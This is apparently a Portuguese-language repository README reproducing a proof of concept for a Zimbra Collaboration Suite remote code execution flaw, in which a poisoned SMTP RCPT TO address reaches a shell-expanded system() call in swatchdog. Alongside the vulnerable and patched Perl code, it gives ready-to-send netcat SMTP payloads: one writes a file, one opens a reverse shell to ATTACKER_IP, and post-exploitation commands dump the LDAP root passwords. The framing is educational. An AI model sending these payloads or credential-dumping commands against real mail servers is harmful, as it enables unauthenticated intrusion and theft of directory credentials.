
Zimbra Collaboration Suite RCE — Envenenamento de log SMTP → swatchdog → Injeção de Comandos do SO (CVSS 8.9, CISA KEV)
Nota: Este repositório contém uma análise técnica independente e reprodução do PoC da CVE-2026-73570. Não é o relatório original da vulnerabilidade.
Zimbra Collaboration Suite RCE — Envenenamento de log SMTP → swatchdog → Injeção de Comandos no SO (CVSS 8.9, CISA KEV)
Tipo: Injeção de Comandos no SO → RCE não autenticado
Vetor: Envenenamento de log SMTP → swatchdog → expansão de shell em formato de string dosnmp
Afetados: Zimbra Collaboration Suite 10.x (< 10.1.20)
CVSS: 8.9 (Crítico)
CISA KEV: Sim — exploração ativa confirmada (~270 instâncias comprometidas em agosto de 2026)
Correção: Zimbra 10.1.20 (lançada em 2026-07-20)
A vulnerabilidade reside em /opt/zimbra/conf/swatchrc.in, dentro da função dosnmp responsável por enviar notificações de trap SNMP quando um serviço Zimbra muda de estado.
Código vulnerável (Zimbra 10.1.1–10.1.19) — chamada system() em formato de string:
sub dosnmp {
my %args = (@_);
print "SNMP notification: $args{MESSAGE}\n";
# Formato STRING: /bin/sh -c "...". $args{SERVICE} é expandido no shell sem sanitização.
system("$snmptrap $snmpsvcname s $args{SERVICE} $snmpsvcstatus i $statuses{$args{STATUS}}");
}
Código corrigido (Zimbra 10.1.20) — system() em formato de lista, sem invocação de shell:
sub dosnmp {
my %args = (@_);
print "SNMP notification: $args{MESSAGE}\n";
# Formato LISTA: exec() diretamente, o shell nunca é invocado.
system("/opt/zimbra/common/bin/snmptrap", "-v", "2c", "-c", "zimbra",
$traphost, "", $snmpsvctrap, $snmpsvcname, "s",
$args{SERVICE}, $snmpsvcstatus, "i", $statuses{$args{STATUS}});
}
A correção é uma alteração de uma linha: passar uma lista para system() em vez de uma string ignora completamente a interpretação do shell.
---
Cadeia de Exploração
Atacante (Kali)
│
│ SMTP RCPT TO:
│ <"x: Service status change: localhost $(cmd) changed from stopped to running"@target>
▼
Postfix/smtpd (servidor Zimbra, porta 25)
│ Aceita RCPT TO e o registra em /var/log/zimbra.log
▼
swatchdog (processo zimbra, monitorando /var/log/zimbra.log)
│ Padrão: /: Service status change: (\S+) (.*) changed from stopped to running/
│ Captura: $1 = "localhost", $2 = "$(cmd)"
│ Chama: donotify(SERVICE="$(cmd)", ...)
▼
dosnmp → system("$snmptrap ... s $(cmd) ...")
│ /bin/sh -c expande $(cmd) → executa o comando
▼
RCE como usuário "zimbra" (uid=998, gid=999)
Insight principal: o Postfix aceita e registra RCPT TO com partes locais entre aspas literalmente — vetor confiável de envenenamento de log.
---
Prova de Conceito
PoC básico — gravar arquivo
nc <target> 25
EHLO attacker.com
MAIL FROM:<[email protected]>
RCPT TO:<"x: Service status change: localhost $(id>/tmp/pwned_rce) changed from stopped to running"@target.com>
DATA
.
QUIT
Resultado: /tmp/pwned_rce contém uid=998(zimbra) gid=999(zimbra)
Reverse Shell
nc -lvnp 4444
nc <target> 25 <<EOF
EHLO attacker.com
MAIL FROM:<[email protected]>
RCPT TO:<"x: Service status change: localhost $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f) changed from stopped to running"@target.com>
DATA
.
QUIT
EOF
---
Configuração do Laboratório
Requisitos
- VirtualBox, Ubuntu Server 22.04 LTS, Zimbra 10.1.0
Rede
Atacante (Kali): 10.0.2.15
Vítima (Ubuntu): 10.0.2.22 (mail.lab.local)
Rede NAT do VirtualBox: 10.0.2.0/24
Reproduzindo a condição vulnerável
cp /opt/zimbra/conf/swatchrc.in /opt/zimbra/conf/swatchrc.in.bak
vi /opt/zimbra/conf/swatchrc.in # aplicar chamada system() em formato de string
PERL5LIB=/opt/zimbra/common/lib/perl5 \
/opt/zimbra/common/bin/swatchdog \
-c /opt/zimbra/conf/swatchrc \
-t /var/log/zimbra.log &
---
Pós-Exploração
/opt/zimbra/bin/zmlocalconfig -s zimbra_ldap_password
/opt/zimbra/bin/zmlocalconfig -s ldap_root_password
---
Mitigação
- Correção: Atualize para Zimbra 10.1.20 ou posterior.
- Solução alternativa: zmlocalconfig -e snmp_notify=no && zmconfigdctl restart
---
Referências
- NVD — CVE-2026-73570 (https://nvd.nist.gov/vuln/detail/CVE-2026-73570)
- Catálogo CISA KEV (https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
- Aviso de Segurança Zimbra (https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories)
---
Aviso Legal
Este repositório é apenas para fins educacionais e de pesquisa de segurança autorizada.
Não use isto contra sistemas que você não possui ou para os quais não tenha permissão explícita por escrito para testar.